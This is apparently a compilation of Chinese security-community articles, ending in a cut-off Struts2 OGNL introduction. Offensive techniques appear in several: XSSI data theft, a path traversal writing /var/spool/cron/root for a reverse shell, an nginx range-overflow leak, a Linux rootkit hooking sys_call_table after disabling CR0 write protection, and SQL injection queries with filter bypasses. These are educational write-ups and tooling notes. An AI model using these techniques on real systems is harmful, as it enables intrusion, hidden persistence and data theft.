原文地址：[http://mp.weixin.qq.com/s?__biz=MzA4NTU5Mzk0Mw==&mid=401868556&idx=1&sn=78bb3102416d4d66a52fe5c840bf7b6a&scene=23&srcid=1130RPklcvLAP3RurEdoqTdS#rd](http://mp.weixin.qq.com/s?__biz=MzA4NTU5Mzk0Mw==&mid=401868556&idx=1&sn=78bb3102416d4d66a52fe5c840bf7b6a&scene=23&srcid=1130RPklcvLAP3RurEdoqTdS#rd)
译文仅供参考，具体内容表达以及含义原文为准。
**autho:黑暗行者**
**同源策略**
同源策略是由Netscape提出的一个著名的安全策略。现在所有支持JavaScript
的浏览器都会使用这个策略。所谓同源是指,域名,协议,端口相同。不同源的客户端脚本(javascript、ActionScript)在没明确授权的情况下,不能读写对方的资源。
**JavaScript的同源策略**
JavaScript的同源策略有两点值得注意:
1、包含第三方的脚本是必要的(比如广告、jQuery 等)
2、同源策略对继承自源网站的包含脚本代码有所放松
Json hijacking:又被称为JavaScript劫持(如下图所示)
那么我们还能不能找到其他方式可以使得网站的个人数据被泄露?
思路如下:
1、是否有动态的JavaScript文件?
2、如果有,这些文件中是否包含用户数据?
3、这些数据可能会以类似的方式被泄露吗?
**首先检测是否有动态的JavaScript文件**
然后我们做了个实际的探究,尝试在150个热门网站中注册测试账户,使用个人化的数据来对该账户数据进行填充,用我们的浏览器扩展来与该网站进行彻底的互动以获取这些脚本,最后手动研究这些动态脚本。
对150个网站的JavaScript文件进行了检测——是否有包含用户数据?
以下是检测结果:
|
域名数量
---|---
域名总量
|
150
基于cookies的动态脚本
|
49
包含唯一标识符
|
34
包含其他个人资料
|
15
包含CSRF或身份验证token
|
7
**XSSI(跨站脚本包含)**
Cross Site Script Inclusion (XSSI) 跨站脚本包含是一种允许攻击者通过恶意JS绕过边界窃取信息的攻击技术。
攻击者会将可泄露用户信息的JavaScript文件包含进来:
(1)JavaScript中泄露的用户数据存储在全局变量中
动态JS
攻击者的JS
Javascript有两种变量:局部变量和全局变量。局部变量是指只能在本变量声明的函数内部调用的变量,而全局变量则是在整个代码中都可以调用的变量。(延伸阅读:http://www.jb51.net/article/61442.htm)
(2)JavaScript中泄露的数据来自全局函数
动态JS
攻击者的JS
对150个网站中的存在泄露信息风险的JS文件是否可以被利用进行了统计,结果如下:
|
域名数量
|
可利用的
---|---|---
基于cookies的动态脚本
|
49
|
40
包含唯一标识符
|
34
|
28
包含其他个人资料
|
15
|
11
包含CSRF或身份验证token
|
7
|
4
**实例探究-案例学习**
1、全局变量导致数据泄露
当泄露的数据存储在脚本的全局变量中时,攻击者只要包含了该脚本,就能将该变量添加到当前环境中,攻击者就可以轻松的通过访问该全局变量读取数据。
先看产生数据泄露的脚本文件leak1.js
这里包含有一个全局变量secret
(延伸阅读 Javascript 自执行函数 http://blog.csdn.net/limlimlim/article/details/9198111)
再看攻击者
先引入该leak1.js
然后secret这个变量就进入了本地的环境中
最后再通过window.secret来取得这个变量的值
2、全局功能参数导致数据泄露(1)
许多网站都会将其功能函数分割以写入到不同脚本文件中。常用的功能函数通常会集中在一个基本库中,而实际的业务逻辑函数则被包含在另一个单独的文件中。通常情况下,包含业务逻辑的脚本会调用全局范围内已经注册的那些基本功能函数。攻击者在包含这些脚本的同时,通过重写脚本中的全局函数来实现对泄露数据的操控。
先看产生数据泄露的脚本文件lack2.js
这里有个globalFunction函数会传入secret参数,通过改写该函数来实现获取变量的值
看攻击者
先重写该globalFunction函数,用来输出该变量的值
然后再引入这个产生数据泄露的脚本文件
最后这个globalFunction函数被执行,输出数据
3、全局函数的参数导致数据泄露(2)
同上一个例子类似,漏洞代码调用了一个全局函数然后传递了一些数据给它。然而这次传递给函数的数据是一个包含了我们想要的数据的回调函数,攻击者可以通过使用
toString 方法来获得回调函数中的这些数据。
(延伸阅读:toString() http://www.nowamagic.net/librarys/veda/detail/1743)
先看产生数据泄露的脚本文件lack3.js
我们要的数据在callback()函数中
这里的globalFunction函数将callback作为了参数,如果我们能够重写该globalFunction函数,然后调用toString()方法,就能得到callback()函数中的secret值
看攻击者
先重写globalFunction函数,参数为callback,然后调用toString()方法把callback函数转换为字符类型。(如下举例)
然后再通过正则读取该secret值
最后引入这个产生数据泄露的脚本文件
4、原型链导致数据泄露(1)
利用JavaScript基于原型的继承,对象可以通过指向继承的对象来形成所谓的原型链。比如,一个array实例的原型属性指向全局对象Array.prototype,即再一次指向了Object.prototype。
当一个对象做一个属性查询时,JavaScript引擎会检查该对象是否具有所谓的自定义属性。如果对象本身不包含所请求的属性,JavaScript引擎就会向上一级父节点查询相同的属性。当一个对象具有所要求的属性时,相应的值将被返回,不再向上一级父节点查询。如果这一属性通过向上一级父节点递归查询后还是没有找到,则该引擎将返回属性未定义。
相对于静态范围内的标准变量,这里的关键其实是动态范围。从本质上来讲,这其实意味着如果一个函数被一个对象调用了,那么其实只是意味着其被对象原型中的某一个调用,而不一定是该对象。
此行为可以使得数据虽然无法直接访问,但却可以被一个函数调用。例如我们可以重写Array.prototype.forEach和attacker-controlled函数,如果包含敏感数据的某些代码被forEach函数调用了,attacker-controlled函数将会被包含敏感数据的对象原型中的某一个对象所调用。(这里翻译出来可能会比较晦涩,建议看原文)
**(延伸阅读:**
JavaScript prototype <http://www.cnblogs.com/dolphinX/p/3286177.html>
javascript必知必会之prototype
<http://www.cnblogs.com/mindsbook/archive/2009/09/19/javascriptYouMustKnowPrototype.html>
)
实在有些晦涩难懂,直接看例子好了:
先看产生数据泄露的脚本文件leak4.js
secret为一个包含数据的数组,然后调用了浏览器的forEach遍历函数
再看攻击者
因为secret为数组,所以我们直接通过prototype属性将数组的forEach函数进行重写来对数据进行操纵
最后再引入泄露数据的脚本文件
这个思路的重点在于对prototype的认识以及对他的利用!
5、原型链导致数据泄露(2)
和上一个例子一样,但是使用了一个函数和toString方法。
先看产生数据泄露的脚本文件leak5.js
再看攻击者
通过prototype将所有Functiorn的call方法重写,然后再调用.toString()方法将函数转换为字符串类型再读取内容,最后再引入产生数据泄露的脚本文件执行。
6、全局函数调用导致数据泄露
如果一个函数在被调用时,能够通过调用者的属性来引用该调用函数。比如一个被命名为"aFunction"的函数,如果通过aFunction.caller.就可以得到调用者的引用。而在函数被引用时,我们可以利用toString方法去返回函数的源代码。如果调用的函数包含任何硬编码的敏感数据,攻击者可以通过解析字符串表示来轻松地访问数据。
同3有点类似
**总结**
那么如何防止XSSI漏洞?
1、这种攻击方式并不是基于浏览器的,所以不能用基于浏览器的方式来进行防护。
2、防止第三方包含脚本文件
解决方法:严格的调用审查以及使用token等标识
3、从敏感数据中分离出JavaScript 代码
创建静态JS文件并在运行时动态的加载数据
数据服务可通过SOP被保护
需要强调的几点:
1、动态生成JS是非常广泛的做法,许多动态JS文件包含用户 的session 信息,这些脚本文件中包含的数据可被访问。
2、在150个热门网站中有三分之一使用了动态脚本,80%的容易受到 XSSI攻击,通过其可以完全入侵账户获得个人隐私。
3、最后还有一点需要强调,XSSI与内容安全策略(CSP)存在矛盾。
CSP是一个用于防止跨站脚本(XSS)的机制, 其通过白名单的形式来加载信任的JavaScript
,并且要求所有内嵌脚本独立到外部文件中。而动态的内嵌脚本本身是不容易被XSSI的,但外部化之后就会很容易出现XSSI漏洞,因此不要盲目的将脚本独立到外部文件,否则将使得这一问题变得更加糟糕。 | 社区文章 |
**什么是WebSocket**
WebSockets
是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。允许浏览器和服务器建立单个TCP连接然后进行全双工异步通信。允许实时更新，浏览器也无需向后台发送数百个新的HTTP
请求，所以对于web程序来说，WebSocket非常流行
在一次授权的APP渗透测试中，发现客服系统走的websocket
测试了几个功能，抓到了upload的websocket接口
经过测试 发现存在任意文件上传，且可以通过../../控制上传文件夹，文件名也没经过后端处理强制改名。
该站环境为Linux+nginx+各种前端框架堆起来的站，框架漏洞暂未发现，各个语言的后门也都不提供解析
也想过通过上传html来构造xss，但是该站采用了authorization授权，xss暂时作用不大。
随后利用上传"定时任务"成功获取了服务器权限。
利用过程：
../../../../../../../../../var/spool/cron/root 控制文件上传位置到定时任务处
上传反弹shell
nc监听 泡杯咖啡～静待一分钟
GetShell | 社区文章 |
# 【漏洞分析】Nginx range 过滤器整形溢出漏洞 (CVE–2017–7529)预警分析
|
##### 译文声明
本文是翻译文章，文章来源：360网络安全响应中心
原文地址：<https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7>
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：shilei && redrain@360CERT**
**I. 背景介绍**
A security issue was identified in nginx range filter. A specially crafted
request might result in an integer overflow and incorrect processing of
ranges, potentially resulting in sensitive information leak (CVE-2017-7529).
— <http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html>
在2017年7月11日，Nginx在官方公告中称发现了一个范围过滤器中的安全问题。通过精心构造的恶意请求能造成整数溢出，对范围的不当处理会导致敏感信息泄漏。并分配了CVE-2017-7529。
**II. 漏洞概述**
当使用nginx标准模块时，攻击者可以通过发送包含恶意构造 range 域的 header
请求，来获取响应中的缓存文件头部信息。在某些配置中，缓存文件头可能包含后端服务器的IP地址或其它敏感信息，从而导致信息泄露。
**III. 漏洞攻击面影响**
**影响面**
该漏洞影响所有0.5.6 – 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。
当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。
通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。
**影响版本**
Nginx version 0.5.6 – 1.13.2
**修复版本**
Nginx version 1.13.3, 1.12.1
**IV. 修复建议**
官方补丁已经在7月11日发布
<http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html>
<http://nginx.org/download/patch.2017.ranges.txt>
建议受影响用户尽快升级至1.13.3, 1.12.1或及时patch
**V. 漏洞详情**
**简要技术细节**
通过查看patch确定问题是由于对http header中range域处理不当造成，焦点在ngx_http_range_parse 函数中的循环：
HTTP头部range域的内容大约为Range: bytes=4096-8192
bytes=<start>-<end>字符串指针p中即为“bytes=”后面的内容
这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。
对于一般的页面文件这两个值怎么玩都没关系。但对于有额外头部的缓存文件若start值为负（合适的负值）那么就意味着缓存文件的头部也会被读取。
一个缓存文件的例子：
如此我们来看看如何构造 Range内容才能把 start 设计为负值。
首先代码中 cutoff 和 cutlim 阀量保证了每次直接从串中读取时不会令 start或 end 成负值。那么能令 start 为负的机会仅在
suffix 标记为真的小分支中。
因此我们需令 suffix = 1由此可推知Range 的内容必然为Range:bytes=-xxx即省略初始 start 值的形式。
那么我们可以通过 Range 中设 end 值大于content_length（真正文件的长度），这样 start 就自动被程序修正为负值了。
但是在写利用过程中发现一个问题若 end 值很大那么 start 的绝对值也会很大会超过缓存文件的起始头部造成读取失败。若 end 值不够大那么换算下来
size = end – 1 >= content_length （end > content_length 见前文所述）就不能通过循环外面的检测：
这样的话似乎无论设 end 为何值都无法达成利用了。继续跟进代码发现这个循环是个无条件循环：
尾部为：
也就是说若 Range 域形如Range: bytes=start-end,start1-end1,…就还有机会继续完成利用。
我们可以构造一个 Range: bytes=-X, -Y
一大一小两个 end 值只需要控制前面一个 end 值小而后一个 end 值大从而实现 start 值和 size 值皆为负数控制 start
值负到一个合适的位置，那么就能成功利用读到缓存文件头部了。
**VI.漏洞利用验证**
Nginx默认模块配置开启缓存：
缓存文件内容如下：
利用漏洞成功读取反向越界读出491字节：
**VII. 时间线**
2017-7-11 Nginx官方发布安全通告和patch
2017-7-12 360CERT( https://cert.360.cn )完成漏洞分析和利用情况分析
2017-7-13 发布该预警分析通告
**VIII. 参考来源**
<http://mailman.nginx.org/pipermail/nginx-announce/2017/000200.html>
<http://nginx.org/download/patch.2017.ranges.txt> | 社区文章 |
# 看我如何通过Linux Rootkit实现文件隐藏
|
##### 译文声明
本文是翻译文章，文章原作者 jordan9001，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/hiding-with-a-linux-rootkit/4532>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](https://www.anquanke.com/member/125661)
预估稿费：180RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 前言
一直以来，我希望能深入了解Linux内核内部是如何工作的。为实现这一点，有一个比较好的思路是写一个小的Rootkit
PoC。大家可以在[这里](https://github.com/jordan9001/superhide)找到相关Rootkit代码。
这是一个非常简单的Rootkit。其功能是，隐藏特定前缀的文件使其不可见。然而，假如我们知道这些文件或文件夹的位置，就仍然可以访问它们。但通过“ls
-a”命令以及文件管理器是无法看到的。此外，通过lsmod或者/proc/modules也无法将它们列出。
## 关于ls
我们首先尝试一下如何借助ls来找到这些文件。我们知道，当某个程序需要借助网络、文件系统或其他系统特定活动进行工作时，它就必须经过内核。也就是说，在此时它将使用系统调用。我们可以在这个表格中，查到64位Linux系统的系统调用。
为了找出ls所使用的系统调用，我们使用了一个名为[Strace](https://linux.die.net/man/1/strace)的工具。Strace将会列出程序所使用的系统调用。当我们执行strace
ls后，会出现很多程序连接产生的杂项，但如果我们继续向下查看， 会发现有以下几行：
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
getdents(3, /* 11 entries */, 32768) = 344
getdents(3, /* 0 entries */, 32768) = 0
close(3) = 0
由此看来，我们需要重点分析的系统调用是getdents。在执行后，ls可能会调用libc函数、readdir，但最终还是会调用getdents。
在具体分析getdents之前，首先让我们来讨论一下如何进入内核。
## 可装载内核模块（LKM）
在Linux系统中，如果我们想在内核中运行代码，我们可以借助于可装载内核模块（LKM）。本文将不会花用太多篇幅阐述它是如何工作的，大家可以参考这一篇文章（链接）。我们的思路是将自定义的模块加载到内核。一些有用的内核符号就会被内核导出，我们便能够去使用它们，或者也可以通过kallsyms_lookup_name函数来获取。在内核中，我们需要拦截getdents调用，并对它返回的值进行更改。此外，我们也希望可以稍微隐藏一下自己的行为，由于该模块是在系统中，因此就不会那么明显。
那么，接下来要解决的问题就是我们要如何Hook getdents，以及Linux内核会如何响应系统调用。
## 系统调用表
在内核之中，存在一个系统调用表。其中的系统调用编号（系统调用发生时rax的值）是其Handler在其表中的偏移量。在Windows系统中，由于[PatchGuard内核保护系统](https://en.wikipedia.org/wiki/Kernel_Patch_Protection)的存在，系统调用表是无法接触到的。但在Linux系统中，我们就可以避开它。
需要注意的是，如果我们将系统调用表弄乱，将会造成非常严重的问题，这样的PoC无疑是愚蠢的，所以还是要考虑将Hook放置在其他地方。
系统调用表位于sys_call_table，它是系统内核的一块区间，其作用是将调用号和服务连接起来，当系统调用某一个进程时，就会通过sys_call_table查找到该程序。然而，它并不是一个可导出并供使用的Linux内核符号，因此，我们有下面这4种方式可供选择：
1. **暴力搜索。** 这种方式更适用于32位系统上，但在64位系统上也是理论上可行的。
2. **找到使用系统调用表的函数。** 有几个使用sys_call_table符号的函数，如果我们通过这些函数进行解析，就可以找到它们的引用。
3. **在其他地方寻找。** 其实，如果不在内核中寻找，也是非常容易找到的。
4. **不使用系统调用表。** 这是一个最好的方案，如果我们不在系统调用表上Hook，我们还可以将Hook放在Handler上。
针对这个简单的模块，我们会选择上面的第3种方式。不使用系统调用表的方式也比较有趣，我将会在后续另写一篇文章进行讲解。对于第3种方式，我们只需要读取并分析[/boot/System.map-$(uname
-r)文](https://en.wikipedia.org/wiki/System.map)件即可。我们的这一操作，可以在将自身添加到内核的同时进行，由此就确保会得到正确的地址。在我的代码中，build_and_install.sh进行了这项工作。我生成了一个将使用可装载内核模块（LKM）编译的头文件。
smap="/boot/System.map-$(uname -r)"
echo -e "#pragma once" > ./sysgen.h
echo -e "#include <linux/fs.h>" >> ./sysgen.h
symbline=$(cat $smap | grep '\Wsys_call_table$')
set $symbline
echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h
## 关于Hook
系统调用表是只读的，但当我们在内核中的时候，这并不会成为较大的阻碍因素。在内核中，[CR0](https://en.wikipedia.org/wiki/Control_register#CR0)是一个控制寄存器，可以修改处理器的操作方式。其中的第16位是写保护标志所在的位置，如果该标志为0，CPU就可以让内核写入只读页。Linux为我们提供了两个很有帮助的函数，可以用于修改CR0寄存器，分别是write_cr0和read_cr0。
在我的代码中，我通过 write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); 关闭了写保护机制，随后在 #define
WRITE_PROTECT_FLAG (1<<16)通过 write_cr0(read_cr0() |
WRITE_PROTECT_FLAG)；将其重新打开。
随后，将当前getdents Handler的入口保存，这样我就可以在删除模块时恢复原样。之后，我们使用
sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;写了一个新的Handler。
其中的sys_getdents_new函数，只负责运行原始处理程序，并检查其结果，删除任何以我们指定前缀开头或是与我们模块有关的条目。
## 从/proc/modules实现隐藏
在Linux系统中，/proc/文件系统作为用户空间与内核之间的接口。它们并不是传统意义上的文件，在打开、写入或读取proc文件时，它会调用内核中的处理程序，动态地得到所需信息并进行相应操作。通过Hook
/proc/modules文件的Read
Handler，我们可以筛选出任何引用到我们模块的相应行。为了实现这一点，首先需要知道/proc/modules在内核中注册的位置。
我在Github上搜索了[“proc_create(“modules”)“的源代码](https://github.com/torvalds/linux/blob/ef0010a30935de4e0211cbc7bdffc30446cdee9b/kernel/module.c#L4227)，并找到了以下几行：
static int __init proc_modules_init(void){
proc_create("modules", 0, NULL, &proc_modules_operations);
return 0;
}
由此看来，proc_modules_operations是一个包含Handler函数的结构。尽管它并不是一个导出的符号，但我们已经在使用System.map文件了，就不妨再使用一次它。
一旦它被导入，放置Hook的过程就会非常简单，proc_modules_operations->read =
proc_modules_read_new;。在proc_modules_read_new中，我们还进行和之前一样的读取，并筛选出我们需要的相应行。
## 结论
至此，我们就拥有了第一个Linux rootkit。此后，我们还可以通过在系统调用表之外进行Hook，以及通过在内核中隐藏模块来改进。
希望上述内容已经讲解得足够清楚明白，如果大家有任何问题，或者发现我的代码中存在任何Bug，请随时提出。我也期待能有更多人提出Rootkit方面的更深入分析并相互学习。 | 社区文章 |
## 前言
> 我们知道，在我们进行某网站sql注入的时候，我们有时候只可以进行简单的 `union select
> user(),version(),@@basedir() #`
>
> 这类简单的查询，想要获得管理员用户密码或者敏感信息的时候就很难搞，因为我们不知道他的数据库表的名字以及字段名字，这篇文章就是介绍一下如果利用Mysql数据库自带的`information_schema`数据库获取其他数据库中的数据。
* * *
## 1.查看`information_schema`数据库
`information_schema`这张数据库保存了MySQL服务器所有数据库的信息。如`数据库名`，`数据库的表`，`数据表的列`
`表栏的数据类型与访问权限等`。再简单点，这台Mysql服务器上，到底有哪些数据库、各个数据库有哪些表，每张表的字段类型是什么，各个数据库要什么权限才能访问，等等信息都保存在`information_schema`数据库里面，且`information_schema`数据库是在Mysql的版本`5.0`之后产生的
* * *
`information_schema`数据库里面的数据非常大，我们也不需要接触那么多，只需要记住几个重要的就可以了
需要记住的:
> 这些很难解释，主要是多实践就知道了
information_schema.schemata //Mysql里的所有数据库库名
information_schema.tables //Mysql某数据库下面的所有表名
information_schema.columns //Mysql某数据库某数据表下面的列名
schema_name //Mysql查询数据库information_schema.schemata库名时候的列名
table_name //Mysql查询数据库information_schema.tables表名时候的列名
column_name ////Mysql查询数据库information_columns.column表名时候的列名
1. `SCHEMATA`表
SCHEMATA表提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
1. `TABLES`表
TABLES表提供了关于数据库中的表的信息（包括视图）。详细表述了某个表属于哪个schema，表类型，表引擎，创建时间，等等信息。是show tables
from schemaname的结果取之此表。
1. `COLUMNS`表
COLUMNS表提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from
schemaname.tablename的结果取之此表。
## 2.查询例子
**1\. 查询所有数据库**
select schmea_name from information_schema.schemata
**2\. 查询指定数据库下的表名**
> 这里我们以'test'数据库为例子，并且要注意的是：查询指定数据库下面的表名必须要用`WHERE`选择你要查询的数据库名字
select table_name from information_schema.tables where table_schema = 'test'
如果过滤了`=`号这段语句可以变形为(用`like`替换=号)：
select table_name from information_schema.tables where table_schema like 'test'
如果过滤了`单引号`这段语句可以变形为(`16进制`转换)：
select table_name from information_schema.tables where table_schema like 0x74657374
**3\. 查询数据库下面表名的列名**
select column_name from information_schema.columns where table_name= '表名' and table_schema= '数据库名'
select column_name from information_schema.columns where table_name= 'users' and table_schema= 'test'
**4\. 获取想要的目标数据**
select username,password from users
[ | 社区文章 |
# ksubdomain 无状态域名爆破工具
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：w7ay@知道创宇404实验室
## 前言
在渗透测试信息中我们可能需要尽可能收集域名来确定资产边界。
在写自动化渗透工具的时候苦与没有好用的子域名爆破工具，于是自己就写了一个。
>
> Ksubdomain是一个域名爆破/验证工具，它使用Go编写，支持在Windows/Linux/Mac上运行，在Mac和Windows上最大发包速度在30w/s,linux上为160w/s的速度。
总的来说，ksubdomain能爆破/验证域名，并且 **快** 和 **准确** 。
## 什么是无状态
> 无状态连接是指无需关心TCP,UDP协议状态，不占用系统协议栈 资源，忘记syn,ack,fin,timewait
> ，不进行会话组包。在实现上也有可能需要把必要的信息存放在数据包本身中。如13年曾以44分钟扫描完全部互联网zmap，之后出现的massscan，
> 都使用了这种无状态技术，扫描速度比以往任何工具都有质的提升，后者更是提出了3分钟扫完互联网的极速。
zmap/masscan都是基于tcp协议来扫描端口的(虽然它们也有udp扫描模块)，相比它们，基于无状态来进行DNS爆破更加容易，我们只需要发送一个udp包，等待DNS服务器的应答即可。
目前大部分开源的域名爆破工具都是基于系统socket发包，不仅会占用系统网络，让系统网络阻塞，且速度始终会有限制。
ksubdomain使用pcap发包和接收数据，会直接将数据包发送至网卡，不经过系统，使速度大大提升。
ksubdomain提供了一个`-test`参数，使用它可以测试本地最大发包数，使用`ksubdomain -test`
在Mac下的运行结果，每秒30w左右
发包的多少还和网络相关，ksubdomain将网络参数简化为了`-b`参数，输入你的网络下载速度如`-b 5m`，ksubdomain就会自动限制发包速度。
## 状态表
由于又是udp协议，数据包丢失的情况很多，所以ksubdomain在程序中建立了“状态表”，用于检测数据包的状态，当数据包发送时，会记录下状态，当收到了这个数据包的回应时，会从状态表去除，如果一段时间发现数据包没有动作，便可以认为这个数据包已经丢失了，于是会进行重发，当重发到达一定次数时，就可以舍弃该数据包了。
上面说ksubdomain是无状态发包，如何建立确认状态呢？
根据DNS协议和UDP协议的一些特点，DNS协议中ID字段，UDP协议中SrcPort字段可以携带数据，在我们收到返回包时，这些字段的数据不会改变。所以利用这些字段的值来确认这个包是我们需要的，并且找到状态表中这个包的位置。
通过状态表基本可以解决漏包，可以让准确度达到一个满意的范围，但与此同时会发送更多的数据包和消耗一些时间来循环判断。
通过`time ./ksubdomain -d baidu.com -b 1m`
使用ksubdomain内置的字典跑一遍baidu.com域名，大概10w字典在2分钟左右跑完，并找到1200多子域名。
## Useage
从[releases](https://github.com/knownsec/ksubdomain/releases)下载二进制文件。
在linux下，还需要安装`libpcap-dev`,在Windows下需要安装`WinPcap`，mac下可以直接使用。
_ __ _____ _ _ _
| |/ / / ____| | | | | (_)
| ' / | (___ _ _| |__ __| | ___ _ __ ___ __ _ _ _ __
| < \___ \| | | | '_ \ / _| |/ _ \| '_ _ \ / _ | | '_ \
| . \ ____) | |_| | |_) | (_| | (_) | | | | | | (_| | | | | |
|_|\_\ |_____/ \__,_|_.__/ \__,_|\___/|_| |_| |_|\__,_|_|_| |_|
Usage of ./ksubdomain:
-b string
宽带的下行速度，可以5M,5K,5G (default "1M")
-d string
爆破域名
-dl string
从文件中读取爆破域名
-e int
默认网络设备ID,默认-1，如果有多个网络设备会在命令行中选择 (default -1)
-f string
字典路径,-d下文件为子域名字典，-verify下文件为需要验证的域名
-l int
爆破域名层级,默认爆破一级域名 (default 1)
-o string
输出文件路径
-s string
resolvers文件路径,默认使用内置DNS
-silent
使用后屏幕将不会输出结果
-skip-wild
跳过泛解析的域名
-test
测试本地最大发包数
-ttl
导出格式中包含TTL选项
-verify
验证模式
### 一些常用命令
使用内置字典爆破
ksubdomain -d seebug.org
使用字典爆破域名
ksubdomain -d seebug.org -f subdomains.dict
字典里都是域名，可使用验证模式
ksubdomain -f dns.txt -verify
爆破三级域名
ksubdomain -d seebug.org -l 2
通过管道爆破
echo "seebug.org"|ksubdomain
通过管道验证域名
echo "paper.seebug.org"|ksubdomain -verify
## 管道操作
借助知名的`subfinder`，`httpx`等工具，可以用管道结合在一起配合工作。
./subfinder -d baidu.com -silent|./ksubdomain -verify -silent|./httpx -title -content-length -status-code
subfinder 通过各种搜索引擎获取域名
ksubdomain 验证域名
httpx http请求获得数据,验证存活
## Knownsec 404 Team星链计划
ksubdomain 是Knownsec 404 Team星链计划中的一员。
> “404星链计划”是知道创宇404实验室于2020年8月开始的计划，旨在通过开源或者开放的方式， **长期维护**
> 并推进涉及安全研究各个领域不同环节的工具化，就像星链一样，将立足于不同安全领域、不同安全环节的研究人员链接起来。
>
>
> 其中不仅限于突破安全壁垒的大型工具，也会包括涉及到优化日常使用体验的各种小工具，除了404本身的工具开放以外，也会不断收集安全研究、渗透测试过程中的痛点，希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题，营造一个更好更开放的安全工具促进与交流的技术氛围。
<https://github.com/knownsec/404StarLink-Project>
## 开源地址
ksubdomain完全开源，任何人可以在此基础上修改或提交代码。
GitHub：<https://github.com/knownsec/ksubdomain>
欢迎加入讨论群，扫描以下二维码添加微信，添加请备注“星链计划”，我们会把大家拉到星链计划交流群中。 | 社区文章 |
建立这个社区的初衷就是给大家提供一个技术交流的地方，持续的这久貌似大家对于交流的渴望没有这么强烈，所以发个帖子来问问大家是一个怎样的状态？说说关于如何让社区良性的发展。做个小调查。
1、是否参与社区共建？
2、开放式社区还是封闭式社区？
3、发展建议 | 社区文章 |
**作者：medi0cr1ty @ QAX CERT
原文链接：<https://mp.weixin.qq.com/s/RSs7MxolwGhjtENfNx1oTg>**
hi!! 新面孔打个招呼~最近花了蛮长时间看 Struts2 的漏洞，可能某些安全研究人员（像我）会选择 Struts2 作为入手 java
研究的第一个框架，毕竟最早实现 MVC（Model+View+Controller） 模式的 java web 框架就是 struts
了。所以输出这篇文章记录下我的总结以及理解，如果能对你有所帮助就更好了 ~！
本文不会对 struts2 漏洞的调用链跟进进行阐述，仅是从 struts2 框架中通过 ognl 产生命令执行漏洞的位置以及 struts2
版本更新安全防护升级相应命令执行 PoC 的更新两个角度进行切入。另如有错误烦请指正，谢谢！
文章导航
文章分为四个部分来阐述：
* 对 struts2 框架进行介绍；
* 对 struts2 框架 OGNL 语法进行介绍；
* struts2 命令执行系列漏洞产生的位置；
* struts2 版本变化对应 PoC 的变化
### 一、 struts2 框架介绍
struts2 由 struts1 升级得名，而其中却是采用 Webwork2 作为其代码基础，完全摒弃 struts1 的设计思想及代码，并以 xwork
作为底层实现的核心，以 ognl 作为浏览器与 java 对象数据流转沟通的语言，实现不同形式数据之间的转换与通信。
可以一起看一下 struts2 中一个请求从进入到返回响应会经历哪些过程以及 xwork 核心中各个元素如何配合让程序运转。
下图为请求从输入到输出的过程：
（图出自 <https://blog.csdn.net/qq_32166627/article/details/70050012> ）
首先当 struts2 项目启动时，会先加载 web.xml ，由其中定义的入口程序 StrutsPrepareAndExecuteFilter
进行容器的初始化以及转发我们的请求。由其中的 init 函数进行初始化，加载配置文件信息，对内置对象进行创建及缓存，创建接下来 struts2
操作的运行环境。
由 doFilter 函数中对封装成 HttpServletRequest 的 http 请求进行预处理以及转发执行。
在这期间 struts2 需要知道这个请求具体由哪个 action 的哪个方法处理，那么在 doFilter 中，在这里会进行请求和 action
之间的映射，具体为根据输入的 url 截取相关信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping
对象属性中，属性包括了请求的 action 、method 、param 、namespace 等（也就是图中的第 3 步）。当然不一定请求的 action
，比如请求 jsp 文件等，那么 ActionMapping 映射为空，则不由 struts2 转发处理。不为空则由 ActionProxy 根据
ActionMapping 映射信息以及 ConfigurationManager 配置信息，找到我们具体要访问的 Action 类（也是图中的 6、7
步）。接着通过 ActionProxy 创建 ActionInvocation 实例，由 ActionInvocation 实例调度访问 Action 。
在访问 Action 之前，会先执行一个拦截器栈，在拦截器栈中会对请求进行一些处理，比如在 ParametersInterceptor 中将参数通过
setter 、getter 方法对 Action 的属性赋值，在 ConversionErrorInterceptor
中对参数类型转换出错时进行拦截处理等。
接下来才会去访问 Action 类。执行完成返回一个结果，结果可能是视图文件，也有可能是去访问另一个 action ，那么如果是访问另一个 action
就重新进行映射，由 ActionProxy 创建 ActionInvocation 进行调度等，如果是返回一个视图文件，那么逆序拦截器栈执行完，最终通过
HTTPServletResponse 返回响应。
前面洋洋洒洒一大堆，其中有一些比如 ActionProxy 、ActionInvocation
等类可能是陌生的，所以我们可以看一下各个元素。其实上面流程中由 ActionProxy 接管请求信息起，就是 xwork 框架的入口了。下图为 xwork
的宏观示意图。
这些节点元素里面可以分为负责请求响应的执行元素（控制流元素）以及进行请求响应所依赖的数据元素（数据流元素）。而执行元素中负责定义事件处理的基本流程的：Interceptor（拦截器，对
Action 的逻辑扩展）、 Action（核心处理类）、 Result（执行结果，负责对 Action 的响应进行逻辑跳转），以及负责调度执行的：
ActionProxy （提供一个无干扰的执行环境）、ActionInvocation（组织调度 Action 、Interceptor 、Result
节点执行顺序的核心调度器）。而数据流元素则包括了 ActionContext 以及 ValueStack 。其中 ActionContext 中提供了
xwork 进行事件处理过程中需要用到的框架对象（比如：container、ValueStack、actionInvocation
等）以及数据对象（比如：session、application、parameters 等）。而 ValueStack 则主要对 ognl
